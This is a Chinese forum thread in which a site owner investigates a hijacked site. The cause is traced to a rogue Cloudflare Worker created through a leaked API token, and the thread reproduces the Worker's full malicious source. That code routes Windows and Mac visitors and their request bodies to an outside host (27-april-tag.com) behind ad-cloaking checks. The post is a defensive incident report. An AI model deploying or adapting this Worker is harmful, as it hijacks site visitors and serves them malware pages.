• 09

    早上起来打开我的网站,突然发现了这个页面

    图片

    这玩意之前遇到过很多次,一看就是木马,肯定是不可能照做的

    我之前在cf上部署过一次博客也被挂过一次木马,手上又没有什么能力去排查一下什么问题,当时还有些事情,懒得搞了,后面直接切到eo page上面了。

    现在这一回这个网站也被劫持了,这个时候我刚好也不急,我就要来找找原因了,直接把界面扔给 Codex,我在 Cloudflare 的 API 令牌里面创建了一个可以管理全部项目的 API token,叫他一个一个排查。

    过了几分钟Codex研究了一下,后面发现是我的cloudfare下有一个可疑worker。

    图片

    然后我叫Astra先别删,把worker的链接发给我,我来去找

    然后我进到那个worker目录下,发现它的路由绑定了我所有的根域名,也是逆天。他要是绑定的是自定义域,这种情况下,我如果去解析的话会出现出错。但是,如果是直接通过路由的方式来进行关联的话,我哪怕解析也不会报错。

    图片

    然后我点击编辑代码的时候,看一看它这个worker的源代码是什么。

    直接把代码贴出来吧(以下是木马的worker的代码,不要粘贴到自己的worker上)```
    const VPS_ORIGIN = "https://27-april-tag.com";

    export default {
    async fetch(request, env, ctx) {
    const userAgent = request.headers.get("User-Agent") || "";
    const isWindows10or11 = userAgent.includes("Windows NT 10.0") || userAgent.includes("MiniRedir/10.0");
    const isMac = /Mac OS X|Macintosh/.test(userAgent);

    if (!isWindows10or11 && !isMac) {
    return fetch(request);
    }

    const url = new URL(request.url);
    const originalHostname = url.hostname;

    const targetURL = VPS_ORIGIN + url.pathname + url.search;
    const backupRequest = request.clone();

    const proxyHeaders = new Headers(request.headers);
    proxyHeaders.set("X-Forwarded-Host", originalHostname);
    proxyHeaders.set("Host", new URL(VPS_ORIGIN).hostname);

    const clientIP = request.headers.get("CF-Connecting-IP") || request.headers.get("X-Real-IP") || request.headers.get("X-Forwarded-For");
    if (clientIP) {
    proxyHeaders.set("X-Real-IP", clientIP);
    proxyHeaders.set("CF-Connecting-IP", clientIP);
    }

    const proxyConfig = {
    method: request.method,
    headers: proxyHeaders,
    redirect: "manual"
    };

    if (request.body && request.method !== "GET" && request.method !== "HEAD") {
    proxyConfig.body = request.body;
    }

    try {
    const response = await fetch(targetURL, proxyConfig);

    if (response.headers.has("X-Adspect-Captcha")) {
    return response;
    }

    return fetch(backupRequest);
    } catch (err) {
    return fetch(backupRequest);
    }
    }
    };
    ```伪装的还路由到的是zf的网站。(截一部分)

    图片

    逆天,吓哭了。

    看到还是3个月前通过API创建的,可能是我哪时候API泄露了吧。后面我就把所有的API令牌全删除掉。再按需进行创建。

    (2026/10/05 21:20)

    我测不对

    你怎么又来了?

    图片

    不是哥们

    图片

    把唯一一个令牌改成只有dns编辑权限(ddns要用),看看还有没有说法。

    (2026/10/05 21:29)

    OK,应该是破案了。原因应该是我只是把账户令牌删了,但是用户令牌还没删,应该是用户令牌泄露了

    主楼
  • 09

    (2026/10/05 21:20)

    我测不对

    你怎么又来了?

    图片

    不是哥们

    图片

    把唯一一个令牌改成只有dns编辑权限(ddns要用),看看还有没有说法。

    666,你怎么又来了哥们,还是一样的叫做muddy-mouse-3595的worker项目

    #1
  • hx3251

    看看账户token是不是有问题,我前几天的workee也被替换了,域名都被代理了,删除账户token就好了

    #2
  • 09

    对的,就是 API token 泄露了。我之前把账户令牌删了,过了差不多两个小时又被劫持了。一看 Worker,他那个项目又创建了,想着一个小时前创建的令牌不可能这么快就泄露,估计应该是其他地方。然后一看,用户令牌还没删

    #3
  • hx3251

    感觉我们俩中毒一样,cf把2fa也开了吧,安全一些

    #4
  • 09

    图片

    应该是令牌泄露了。我看了,他创建都是通过 API 令牌创建的,我把令牌删得只剩一个了。看看明天早上起来还会不会被劫持。

    #5
  • hx3251

    cf也有ai分析,可以让cf的ai分析下

    #6

发表回复

登录后回复